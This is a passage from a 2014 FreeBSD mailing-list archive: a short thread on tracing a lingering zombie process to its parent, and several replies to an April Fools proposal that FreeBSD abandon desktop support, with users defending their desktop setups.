custom kernel have noting exotic, or anything out of the ordinary. > top(1), and ps(1) indicate a (1) zombie, or process. On > my releng_8 systems, when I occasionally encounter one of these, > they soon disappear (are reaped) from the process table. While I > have not investigated this far enough on both versions to determine > whether the parent process reaped the child on the releng_8 systems, > and the parent on releng_9 is simply an irresponsible parent, eg; > a different parent. Before I do, I was wondering if there was any > specific difference between the 2 versions that might cause better > handling of such situations. While I recognize that resource > starvation is HIGHLY unlikely, except by perhaps a rouge parent > spawning multitudes of zombies. I thought it might be useful for > "housekeeping" to 1) provide a process table housekeeper (zombie > reaper), or 2) create a system utility/command like SunOS/OpenSolaris > has; preap(1). > > http://www.freebsd.org/cgi/man.cgi?query=preap&manpath=SunOS+5.10 > > Thank you for your time, and consideration. Nothing is different with child processes in 9 vs 8. It is most likely a misbehaving parent (or the parent is stuck or hung). -- John Baldwin From owner-freebsd-hackers@FreeBSD.ORG Tue Apr 1 14:10:54 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 37A6EFB2; Tue, 1 Apr 2014 14:10:54 +0000 (UTC) Received: from udns.ultimateDNS.NET (ultimatedns.net [209.180.214.225]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id E95D18A2; Tue, 1 Apr 2014 14:10:53 +0000 (UTC) Received: from udns.ultimateDNS.NET (localhost [127.0.0.1]) by udns.ultimateDNS.NET (8.14.5/8.14.5) with ESMTP id s31EDZkT080314; Tue, 1 Apr 2014 07:13:41 -0700 (PDT) (envelope-from bsd-lists@bsdforge.com) Received: (from www@localhost) by udns.ultimateDNS.NET (8.14.5/8.14.5/Submit) id s31EDSv5080298; Tue, 1 Apr 2014 07:13:28 -0700 (PDT) (envelope-from bsd-lists@bsdforge.com) Received: from unavailable02.ultimatedns.net ([209.180.214.228]) (UDNSMS authenticated user chrish) by ultimatedns.net with HTTP; Tue, 1 Apr 2014 07:13:30 -0700 (PDT) Message-ID: <8a48d1f8fdae94c540f42582b415f417.authenticated@ultimatedns.net> In-Reply-To: References: Date: Tue, 1 Apr 2014 07:13:30 -0700 (PDT) Subject: Re: Leaving the Desktop Market From: "Chris H" To: "Eitan Adler" User-Agent: UDNSMS/2.0.3 MIME-Version: 1.0 Content-Type: text/plain;charset=utf-8 Content-Transfer-Encoding: 8bit X-Priority: 3 (Normal) Importance: Normal Cc: freebsd-advocacy@freebsd.org, hackers@freebsd.org, current@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 01 Apr 2014 14:10:54 -0000 > Hi all, > > Some of you may have seen my posts entitled "Story of a Laptop User" > and "Story of a Desktop User". For those of you who did not, it can > be a worthwhile read to see what life is like when using FreeBSD as a > desktop. In short, it is an educational experience. While FreeBSD > can be coerced to do the right thing, it is rarely there by default > and often doesn't work as well as we would expect. Ha, ha, ha. Reminds me of the long running 04-01 gag stating that kernel.org ran on FreeBSD. As to "Leaving the Desktop Market"; +1. OK by me. OTOH The following /will/ give you everything you /claim/ isn't /currently/ possible. x11/xorg-minimal x11-wm/xfce4 audio/aquqlung multimedia/vlc The above list also gives you the ability to switch output(s) on the fly (via mixer). "exotic" video card? emulators/linux_base-f10 x11/nvidia-driver --Chris P.S. Happy April fools to you, too. > > The following are issues I haven't brought up in the past: > > Battery life sucks: it’s almost as if powerd wasn't running. Windows > can run for five hours on my laptop while FreeBSD can barely make it > two hours. I wonder what the key differences are? Likely it’s that > we focus so much on performance that no one considers power. ChromeOS > can run for 12 hours on some hardware; why can't we make FreeBSD run > for 16? > > Sound configuration lacks key documentation: how can I automatically > change between headphones and external speakers? You can't even do > that in middle of a song at all! Trust me that you never want to be > staring at an HDA pin configuration. I'll bet you couldn't even get > sound streaming to other machines working if you tried. > > FreeBSD lacks vendor credibility: CUDA is unsupported. Dropbox hasn't > released a client for FreeBSD. Nvidia Optimus doesn't function on > FreeBSD. Can you imagine telling someone to purchase a laptop with > the caveat: "but you won't be able to use your graphics card"? > > In any case, half of our desktop support is emulation: flash and opera > only works because of the linuxulator. There really isn't any reason > for vendors to bother supporting FreeBSD if we are just going to ape > Linux anyways. > > That is why on this date I propose that we cease competing on the > desktop market. FreeBSD should declare 2014 to be "year of the Linux > desktop" and start to rip out the pieces of the OS not needed for > server or embedded use. > > Some of you may point to PCBSD and say that we have a chance, but I > must ask you: how does one flavor stand up to the thousands in the > Linux world? > > Eitan Adler > _______________________________________________ > freebsd-hackers@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.org" > > From owner-freebsd-hackers@FreeBSD.ORG Tue Apr 1 14:25:19 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 3D147F5A; Tue, 1 Apr 2014 14:25:19 +0000 (UTC) Received: from udns.ultimateDNS.NET (ultimatedns.net [209.180.214.225]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id DA0DBA5C; Tue, 1 Apr 2014 14:25:18 +0000 (UTC) Received: from udns.ultimateDNS.NET (localhost [127.0.0.1]) by udns.ultimateDNS.NET (8.14.5/8.14.5) with ESMTP id s31ES778082519; Tue, 1 Apr 2014 07:28:13 -0700 (PDT) (envelope-from bsd-lists@bsdforge.com) Received: (from www@localhost) by udns.ultimateDNS.NET (8.14.5/8.14.5/Submit) id s31ES06N082505; Tue, 1 Apr 2014 07:28:00 -0700 (PDT) (envelope-from bsd-lists@bsdforge.com) Received: from unavailable02.ultimatedns.net ([209.180.214.228]) (UDNSMS authenticated user chrish) by ultimatedns.net with HTTP; Tue, 1 Apr 2014 07:28:02 -0700 (PDT) Message-ID: In-Reply-To: <201404010941.33741.jhb@freebsd.org> References: <26dbb84bafaf0114cb75c3fbe060d412.authenticated@ultimatedns.net> <201404010941.33741.jhb@freebsd.org> Date: Tue, 1 Apr 2014 07:28:02 -0700 (PDT) Subject: Re: Process handlers, and zombies, or preap(1) From: "Chris H" To: "John Baldwin" User-Agent: UDNSMS/2.0.3 MIME-Version: 1.0 Content-Type: text/plain;charset=utf-8 Content-Transfer-Encoding: 8bit X-Priority: 3 (Normal) Importance: Normal Cc: freebsd-hackers@freebsd.org, freebsd-hackers , freebsd-stable , Chris H X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 01 Apr 2014 14:25:19 -0000 > On Monday, March 31, 2014 4:06:43 pm Chris H wrote: >> Greetings, >> I'm evaluating/experimenting on releng_9. The install, and now >> custom kernel have noting exotic, or anything out of the ordinary. >> top(1), and ps(1) indicate a (1) zombie, or process. On >> my releng_8 systems, when I occasionally encounter one of these, >> they soon disappear (are reaped) from the process table. While I >> have not investigated this far enough on both versions to determine >> whether the parent process reaped the child on the releng_8 systems, >> and the parent on releng_9 is simply an irresponsible parent, eg; >> a different parent. Before I do, I was wondering if there was any >> specific difference between the 2 versions that might cause better >> handling of such situations. While I recognize that resource >> starvation is HIGHLY unlikely, except by perhaps a rouge parent >> spawning multitudes of zombies. I thought it might be useful for >> "housekeeping" to 1) provide a process table housekeeper (zombie >> reaper), or 2) create a system utility/command like SunOS/OpenSolaris >> has; preap(1). >> >> http://www.freebsd.org/cgi/man.cgi?query=preap&manpath=SunOS+5.10 >> >> Thank you for your time, and consideration. > > Nothing is different with child processes in 9 vs 8. It is most > likely a misbehaving parent (or the parent is stuck or hung). Hello, John, and thank you for the reply. Right you are. Julian Elischer was kind enough to remind me that ps -alx would give me the information I needed to find the seemingly "lazy" parent process. But not before I had already (re)created a (Free)BSD version of preap(1), and cleared the entry from the proc table. However, it re-appeared again. So this time I traced it to it's parent, and now I can deal with it /properly/. It's an old port who's development was taken over by a Windows developer. So he doesn't have access to the *NIX-isms. I'll see if I can find the time to coordinate some effort(s) to clean it up, or branch a NIX version. Thank you /very/ much for addressing my original question. --Chris > > -- > John Baldwin > _______________________________________________ > freebsd-hackers@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.org" > From owner-freebsd-hackers@FreeBSD.ORG Tue Apr 1 14:46:43 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 63C93907; Tue, 1 Apr 2014 14:46:43 +0000 (UTC) Received: from mx1.fisglobal.com (mx1.fisglobal.com [199.200.24.190]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client CN "mx1.fisglobal.com", Issuer "VeriSign Class 3 Secure Server CA - G3" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 2BA45C68; Tue, 1 Apr 2014 14:46:42 +0000 (UTC) Received: from smarthost.fisglobal.com ([10.132.206.193]) by ltcfislmsgpa04.fnfis.com (8.14.5/8.14.5) with ESMTP id s31EkTAG030955 (version=TLSv1/SSLv3 cipher=AES128-SHA bits=128 verify=NOT); Tue, 1 Apr 2014 09:46:29 -0500 Received: from THEMADHATTER (10.242.181.54) by smarthost.fisglobal.com (10.132.206.193) with Microsoft SMTP Server id 14.3.174.1; Tue, 1 Apr 2014 09:46:26 -0500 From: Sender: Devin Teske To: "'Eitan Adler'" , , , References: In-Reply-To: Subject: RE: Leaving the Desktop Market Date: Tue, 1 Apr 2014 07:46:16 -0700 Message-ID: <082a01cf4db9$240d3e90$6c27bbb0$@FreeBSD.org> MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: quoted-printable X-Mailer: Microsoft Outlook 15.0 Thread-Index: AQGHdVWSFOXlP15hf4gexL3l1E1JDZuMhnNw Content-Language: en-us X-Proofpoint-Virus-Version: vendor=fsecure engine=2.50.10432:5.11.87, 1.0.14, 0.0.0000 definitions=2014-04-01_05:2014-04-01,2014-04-01,1970-01-01 signatures=0 Cc: dteske@FreeBSD.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 01 Apr 2014 14:46:43 -0000 > -----Original Message----- > From: Eitan Adler [mailto:lists@eitanadler.com] > Sent: Monday, March 31, 2014 10:47 PM > To: hackers@freebsd.org; current@freebsd.org; freebsd- > advocacy@freebsd.org > Subject: Leaving the Desktop Market >=20 > Hi all, >=20 > Some of you may have seen my posts entitled "Story of a Laptop User" > and "Story of a Desktop User". For those of you who did not, it can be a > worthwhile read to see what life is like when using FreeBSD as a desktop.= In > short, it is an educational experience. While FreeBSD can be coerced to = do > the right thing, it is rarely there by default and often doesn't work as = well as > we would expect. >=20 > The following are issues I haven't brought up in the past: >=20 > Battery life sucks: it=E2=80=99s almost as if powerd wasn't running. Wi= ndows can run > for five hours on my laptop while FreeBSD can barely make it two hours. I > wonder what the key differences are? Likely it=E2=80=99s that we focus s= o much on > performance that no one considers power. ChromeOS can run for 12 hours > on some hardware; why can't we make FreeBSD run for 16? >=20 > Sound configuration lacks key documentation: how can I automatically > change between headphones and external speakers? You can't even do > that in middle of a song at all! Trust me that you never want to be star= ing at > an HDA pin configuration. I'll bet you couldn't even get sound streaming= to > other machines working if you tried. >=20 > FreeBSD lacks vendor credibility: CUDA is unsupported. Dropbox hasn't > released a client for FreeBSD. Nvidia Optimus doesn't function on FreeBS= D. > Can you imagine telling someone to purchase a laptop with the caveat: "but > you won't be able to use your graphics card"? >=20 > In any case, half of our desktop support is emulation: flash and opera on= ly > works because of the linuxulator. There really isn't any reason for vend= ors to > bother supporting FreeBSD if we are just going to ape Linux anyways. >=20 > That is why on this date I propose that we cease competing on the desktop > market. FreeBSD should declare 2014 to be "year of the Linux desktop" and > start to rip out the pieces of the OS not needed for server or embedded u= se. >=20 > Some of you may point to PCBSD and say that we have a chance, but I must > ask you: how does one flavor stand up to the thousands in the Linux world? >=20 Eitan, While I understand your frustration, VICOR is using FreeBSD as a Desktop si= nce FreeBSD 2.2. We don't use sound and we are fine relying on vesa. While I understand that the things you listed are actual short-comings for = normal Desktop users, I think it's the wrong decision to say that we should be ba= cking out *any* functionality that would make the Desktop any more difficult to produce. As it stands, it would take me weeks just to count the number of workstatio= ns that are running a GUI, rely on one of the existing video drivers (nv, rade= on, mach64, etc.) and use lots of Desktop ports. --=20 Devin _____________ The information contained in this message is proprietary and/or confidentia= l. If you are not the intended recipient, please: (i) delete the message an= d all copies; (ii) do not disclose, distribute or use the message in any ma= nner; and (iii) notify the sender immediately. In addition, please be aware= that any message addressed to our domain is subject to archiving and revie= w by persons other than the intended recipient. Thank you. From owner-freebsd-hackers@FreeBSD.ORG Tue Apr 1 14:52:40 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id A4A86367; Tue, 1 Apr 2014 14:52:40 +0000 (UTC) Received: from mx1.fisglobal.com (mx1.fisglobal.com [199.200.24.190]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client CN "mx1.fisglobal.com", Issuer "VeriSign Class 3 Secure Server CA - G3" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 6A668E0D; Tue, 1 Apr 2014 14:52:40 +0000 (UTC) Received: from smarthost.fisglobal.com ([10.132.206.193]) by ltcfislmsgpa07.fnfis.com (8.14.5/8.14.5) with ESMTP id s31EqPjK014564 (version=TLSv1/SSLv3 cipher=AES128-SHA bits=128 verify=NOT); Tue, 1 Apr 2014 09:52:26 -0500 Received: from THEMADHATTER (10.242.181.54) by smarthost.fisglobal.com (10.132.206.193) with Microsoft SMTP Server id 14.3.174.1; Tue, 1 Apr 2014 09:52:23 -0500 From: Sender: Devin Teske To: "'Lars Engels'" , "'Jordan Hubbard'" References: <20140401094044.GX44074@e-new.0x20.net> In-Reply-To: <20140401094044.GX44074@e-new.0x20.net> Subject: RE: Leaving the Desktop Market Date: Tue, 1 Apr 2014 07:52:13 -0700 Message-ID: <083e01cf4db9$f8f4e040$eadea0c0$@FreeBSD.org> MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 8bit X-Mailer: Microsoft Outlook 15.0 Thread-Index: AQGHdVWSFOXlP15hf4gexL3l1E1JDQM4JHNtASkPtVubaX9yoA== Content-Language: en-us X-Proofpoint-Virus-Version: vendor=fsecure engine=2.50.10432:5.11.87, 1.0.14, 0.0.0000 definitions=2014-04-01_05:2014-04-01,2014-04-01,1970-01-01 signatures=0 Cc: dteske@FreeBSD.org, 'Eitan Adler' , hackers@freebsd.org, current@freebsd.org, freebsd-advocacy@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 01 Apr 2014 14:52:40 -0000 > -----Original Message----- > From: Lars Engels [mailto:lars.engels@0x20.net] > Sent: Tuesday, April 1, 2014 2:41 AM > To: Jordan Hubbard > Cc: Eitan Adler; hackers@freebsd.org; current@freebsd.org; freebsd- > advocacy@freebsd.org > Subject: Re: Leaving the Desktop Market > > On Tue, Apr 01, 2014 at 12:11:19PM +0500, Jordan Hubbard wrote: > > > > On Apr 1, 2014, at 10:46 AM, Eitan Adler wrote: > > > > > That is why on this date I propose that we cease competing on the > > > desktop market. FreeBSD should declare 2014 to be "year of the [snip] > I'm a happy FreeBSD desktop user since 4.7. There are some edges, but I > really like that I can can create a desktop the way _I_ want it and my mail > client even allows me to break lines at 80 chars. Eat that, Apple Mail! ;-) What e-mail client do you use? Evolution? -- Devin _____________ The information contained in this message is proprietary and/or confidential. If you are not the intended recipient, please: (i) delete the message and all copies; (ii) do not disclose, distribute or use the message in any manner; and (iii) notify the sender immediately. In addition, please be aware that any message addressed to our domain is subject to archiving and review by persons other than the intended recipient. Thank you. From owner-freebsd-hackers@FreeBSD.ORG Tue Apr 1 15:21:08 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 97B9C586; Tue, 1 Apr 2014 15:21:08 +0000 (UTC) Received: from bigwig.baldwin.cx (bigwig.baldwin.cx [IPv6:2001:470:1f11:75::1]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 6EB98299; Tue, 1 Apr 2014 15:21:08 +0000 (UTC) Received: from jhbbsd.localnet (unknown [209.249.190.124]) by bigwig.baldwin.cx (Postfix) with ESMTPSA id 0EDF7B946; Tue, 1 Apr 2014 11:21:07 -0400 (EDT) From: John Baldwin To: "Chris H" Subject: Re: Process handlers, and zombies, or preap(1) Date: Tue, 1 Apr 2014 11:10:31 -0400 User-Agent: KMail/1.13.5 (FreeBSD/8.4-CBSD-20130906; KDE/4.5.5; amd64; ; ) References: <26dbb84bafaf0114cb75c3fbe060d412.authenticated@ultimatedns.net> <201404010941.33741.jhb@freebsd.org> In-Reply-To: MIME-Version: 1.0 Content-Type: Text/Plain; charset="utf-8" Content-Transfer-Encoding: 7bit Message-Id: <201404011110.31723.jhb@freebsd.org> X-Greylist: Sender succeeded SMTP AUTH, not delayed by milter-greylist-4.2.7 (bigwig.baldwin.cx); Tue, 01 Apr 2014 11:21:07 -0400 (EDT) Cc: freebsd-hackers@freebsd.org, freebsd-hackers , freebsd-stable X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 01 Apr 2014 15:21:08 -0000 On Tuesday, April 01, 2014 10:28:02 am Chris H wrote: > > On Monday, March 31, 2014 4:06:43 pm Chris H wrote: > >> Greetings, > >> I'm evaluating/experimenting on releng_9. The install, and now > >> custom kernel have noting exotic, or anything out of the ordinary. > >> top(1), and ps(1) indicate a (1) zombie, or process. On > >> my releng_8 systems, when I occasionally encounter one of these, > >> they soon disappear (are reaped) from the process table. While I > >> have not investigated this far enough on both versions to determine > >> whether the parent process reaped the child on the releng_8 systems, > >> and the parent on releng_9 is simply an irresponsible parent, eg; > >> a different parent. Before I do, I was wondering if there was any > >> specific difference between the 2 versions that might cause better > >> handling of such situations. While I recognize that resource > >> starvation is HIGHLY unlikely, except by perhaps a rouge parent > >> spawning multitudes of zombies. I thought it might be useful for > >> "housekeeping" to 1) provide a process table housekeeper (zombie > >> reaper), or 2) create a system utility/command like SunOS/OpenSolaris > >> has; preap(1). > >> > >> http://www.freebsd.org/cgi/man.cgi?query=preap&manpath=SunOS+5.10 > >> > >> Thank you for your time, and consideration. > > > > Nothing is different with child processes in 9 vs 8. It is most > > likely a misbehaving parent (or the parent is stuck or hung). > > Hello, John, and thank you for the reply. > Right you are. Julian Elischer was kind enough to remind me that > ps -alx > would give me the information I needed to find the seemingly > "lazy" parent process. But not before I had already (re)created > a (Free)BSD version of preap(1), and cleared the entry from the > proc table. > However, it re-appeared again. So this time I traced it to it's > parent, and now I can deal with it /properly/. It's an old port > who's development was taken over by a Windows developer. So he > doesn't have access to the *NIX-isms. I'll see if I can find > the time to coordinate some effort(s) to clean it up, or branch > a NIX version. > > Thank you /very/ much for addressing my original question. sysutils/pstree from ports can also be useful for figuring this sort of thing out btw. -- John Baldwin From owner-freebsd-hackers@FreeBSD.ORG Tue Apr 1 15:32:22 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id C409E95E; Tue, 1 Apr 2014 15:32:22 +0000 (UTC) Received: from mx.waitman.net (mx.waitman.net [136.0.16.173]) by mx1.freebsd.org (Postfix) with ESMTP id A231F5F2; Tue, 1 Apr 2014 15:32:22 +0000 (UTC) Received: by mx.waitman.net (Postfix, from userid 2) id 32B9F4636F; Tue, 1 Apr 2014 00:32:16 -0700 (PDT) Received: from 70.90.171.37 by mx.waitman.net with HTTP; Tue, 1 Apr 2014 00:32:16 -0700 Message-ID: <042a9d0660e68acaf4471a571383df8e.squirrel@mx.waitman.net> In-Reply-To: References: Date: Tue, 1 Apr 2014 00:32:16 -0700 Subject: Re: Leaving the Desktop Market From: "Waitman Gobble" To: "Eitan Adler" User-Agent: SquirrelMail/1.5.2 [SVN] MIME-Version: 1.0 Content-Type: text/plain;charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Mailman-Approved-At: Tue, 01 Apr 2014 15:33:23 +0000 Cc: freebsd-advocacy@freebsd.org, hackers@freebsd.org, current@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list Reply-To: uzimac@da3m0n8t3r.com List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 01 Apr 2014 15:32:22 -0000 On Mon, March 31, 2014 10:46 pm, Eitan Adler wrote: > Hi all, > > > Some of you may have seen my posts entitled "Story of a Laptop User" > and "Story of a Desktop User". For those of you who did not, it can be a > worthwhile read to see what life is like when using FreeBSD as a desktop. > In short, it is an educational experience. While FreeBSD > can be coerced to do the right thing, it is rarely there by default and > often doesn't work as well as we would expect. > > The following are issues I haven't brought up in the past: > > > Battery life sucks: it’s almost as if powerd wasn't running. Windows > can run for five hours on my laptop while FreeBSD can barely make it two > hours. I wonder what the key differences are? Likely it’s that we > focus so much on performance that no one considers power. ChromeOS can > run for 12 hours on some hardware; why can't we make FreeBSD run for 16? > > Sound configuration lacks key documentation: how can I automatically > change between headphones and external speakers? You can't even do that > in middle of a song at all! Trust me that you never want to be staring at > an HDA pin configuration. I'll bet you couldn't even get sound streaming > to other machines working if you tried. > > FreeBSD lacks vendor credibility: CUDA is unsupported. Dropbox hasn't > released a client for FreeBSD. Nvidia Optimus doesn't function on FreeBSD. > Can you imagine telling someone to purchase a laptop with > the caveat: "but you won't be able to use your graphics card"? > > In any case, half of our desktop support is emulation: flash and opera > only works because of the linuxulator. There really isn't any reason for > vendors to bother supporting FreeBSD if we are just going to ape Linux > anyways. > > That is why on this date I propose that we cease competing on the > desktop market. FreeBSD should declare 2014 to be "year of the Linux > desktop" and start to rip out the pieces of the OS not needed for server > or embedded use. > > Some of you may point to PCBSD and say that we have a chance, but I > must ask you: how does one flavor stand up to the thousands in the Linux > world? > > Eitan Adler > _______________________________________________ > freebsd-current@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-current > To unsubscribe, send any mail to "freebsd-current-unsubscribe@freebsd.org" Hi, I don't understand the gripe about sound. OSS works well. If you install the verson in ports, audio/oss, you get a more elaborate set of tools. (you can use the tools with the OSS drivers in base, its possible to remove the base OSS system and *only* use the updated OSS system however there are some caveats that may cause serious issues with a 'user', if you don't want to get your hands dirty don't mess with that.) Anyhow, last I went through a few month period of experimenting with sound and picked up a bunch of hardware on ebay, different cards from various vendors, ie asus, creative, etc. Its possible and not too difficult to have four or five cards on the machine and use them simultaneously. I didn't notice any problem switching from speakers to headphones while music is playing. Maybe this works on other operating systems, i haven't tried. The thing about sound, the card is a digital-to-analog converter, and vice-versa. It uses PCM data. (PCM was actually first 'invented' in the 1800's - no fools joke). Digital audio/Sound has never really gotten better, it has only gotten cheaper. -- Waitman Gobble San Jose California USA +1.510-830-7975 From owner-freebsd-hackers@FreeBSD.ORG Tue Apr 1 15:41:47 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id CCA6DEBE for ; Tue, 1 Apr 2014 15:41:47 +0000 (UTC) Received: from zimbra2.tngtech.com (zimbra2.tngtech.com [212.204.93.103]) by mx1.freebsd.org (Postfix) with ESMTP id 61EED762 for ; Tue, 1 Apr 2014 15:41:47 +0000 (UTC) Received: from localhost (localhost [127.0.0.1]) by zimbra2.tngtech.com (Postfix) with ESMTP id 11DEB9CE0E7 for ; Tue, 1 Apr 2014 17:34:31 +0200 (CEST) X-Virus-Scanned: amavisd-new at tngtech.com Received: from zimbra2.tngtech.com ([127.0.0.1]) by localhost (zimbra2.tngtech.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id hx39ec1W31aW for ; Tue, 1 Apr 2014 17:34:28 +0200 (CEST) Received: from hactar.localnet (hactar.int.tngtech.com [10.1.2.115]) by zimbra2.tngtech.com (Postfix) with ESMTPSA id E8D169CE0D9 for ; Tue, 1 Apr 2014 17:34:28 +0200 (CEST) From: Stefan Wendler To: freebsd-hackers@freebsd.org Subject: Re: Leaving the Desktop Market Date: Tue, 01 Apr 2014 17:34:28 +0200 Message-ID: <9835889.NCoUYjnjA9@hactar> Organization: TNG Technology Consulting GmbH User-Agent: KMail/4.10.5 (FreeBSD/10.0-RELEASE; KDE/4.10.5; amd64; ; ) In-Reply-To: References: MIME-Version: 1.0 Content-Transfer-Encoding: 7Bit Content-Type: text/plain; charset="us-ascii" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 01 Apr 2014 15:41:48 -0000 Hi, On Monday 31 March 2014 22:46:45 Eitan Adler wrote: > Hi all, > > Some of you may have seen my posts entitled "Story of a Laptop User" > and "Story of a Desktop User". For those of you who did not, it can > be a worthwhile read to see what life is like when using FreeBSD as a > desktop. In short, it is an educational experience. While FreeBSD > can be coerced to do the right thing, it is rarely there by default > and often doesn't work as well as we would expect. > I don't know the posts you are talking about. I'm using FreeBSD as a server since Version 7. Since FreeBSD 9 I'm also using it as main notebook OS. With everything you can imagine: sound, flash, 3D gfx, eve online via wine rocks, printing, scanning, you name it. Yes, FreeBSD has some rough edges. But after over 18 years of Linux I can say, Linux has enough rough edges and depending on the current needs I more than freaked out once with each distro. And I still am freaking out on a daily basis as a *nix admin when one of the Linux's shows their true face. Like undocumented autoupgrading that messes up your whole ovirt-cluster. I never had that with a BSD. But what there is to learn is, I only ever had problems with consumer/cheap hardware. Most Linux Distros suck at least one way. For me the only Distro that really made me happy for over 14 years was Gentoo. In a way FreeBSD is similar but much much cleaner and sorted. It may be that FreeBSD is not for you and you are more the Linux Mint/*buntu user. But it would be a nightmare for me, if the good FreeBSD folks would stop supporting X-stuff. I even give to the FreeBSD Foundation on a monthly basis with the wish to further support the desktop. FreeBSD is quite simple once you get the hang of it. But you have to be the person that likes to dig in sometimes. Currently it runs as smooth as butter here. When learning to use Gentoo for example I had not only one sleepless night where I had to fix broken libc upgrades without the ability to google that. But this is how we learn. With FreeBSD you have at least a running base system even if you mess up big time. Delete /usr/local/* but keep your /usr/local/etc and start over ... try that with Linux. No chance! I can go on here ;) The big lag of FreeBSD is indeed vendor support. But it won't get better if we drop support for stuff. I'm sorry FreeBSD is such an upsetting experience for you. > Some of you may point to PCBSD and say that we have a chance, but I > must ask you: how does one flavor stand up to the thousands in the > Linux world? ... PCBSD stands out in that it is a really nice experience and people from the Linux world are asking about it and it just plain works mostly out of the box like a ubuntu or mint does, on hardware that is not no-name. And there is always GhostBSD (http://www.ghostbsd.org/) ... so there are two flavours already ;) The base system is still FreeBSD but I don't think that this is a problem. Ever fu**d around with getting the right packages in the right versions of some tools for example SuSE, CentOS, Debian, or whatever without freaking out? The different approaches in packaging systems on Linux is a mess as well. PCBSD is not for me though. But not that is isn't working but it is not for me as a BSD user as Ubuntu never was for me as a Linux/Gentoo user. Linux is not the silver bullet. And in every Linux forum there are always people that complain about why Linux or this or that distro sucks and why they move on. And even Linux wouldn't be what it is without the various BSDs. Cheers, Stefan P.S. One thing they could upgrade though is the linuxulator. From owner-freebsd-hackers@FreeBSD.ORG Tue Apr 1 15:45:56 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id E424DFDC; Tue, 1 Apr 2014 15:45:56 +0000 (UTC) Received: from zimbra2.tngtech.com (zimbra2.tngtech.com [212.204.93.103]) by mx1.freebsd.org (Postfix) with ESMTP id 